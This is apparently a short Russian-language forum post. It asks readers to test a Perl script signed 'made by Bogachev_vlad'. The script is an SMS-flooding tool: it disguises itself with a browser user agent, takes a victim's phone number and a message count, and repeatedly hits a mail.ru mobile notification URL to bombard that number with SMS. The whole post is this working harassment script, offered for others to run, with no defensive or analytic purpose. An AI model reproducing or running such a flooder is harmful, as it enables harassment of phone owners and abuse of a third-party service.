У кого стоит perl может кто протестить у себя?

#!/usr/local/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $cookie = HTTP::Cookies->new();
$ua->cookie_jar($cookie);

print "made by Bogachev_vlad";
$host="http://mobile.mail.ru/agent_notify/";
print "
======================================
Vvedite nomer telefona (71234567891)\n
=======================:";
$mobile=<stdin>;
chomp($mobile);

print "Vvedite kolichestvo SMS(5-7 shtyk)\n";
$n=<stdin>;

for($i = 0; $i < $n; $i++)
{
$ex = $ua->get($host.$mobile.'/');
}
print "Start flood\n";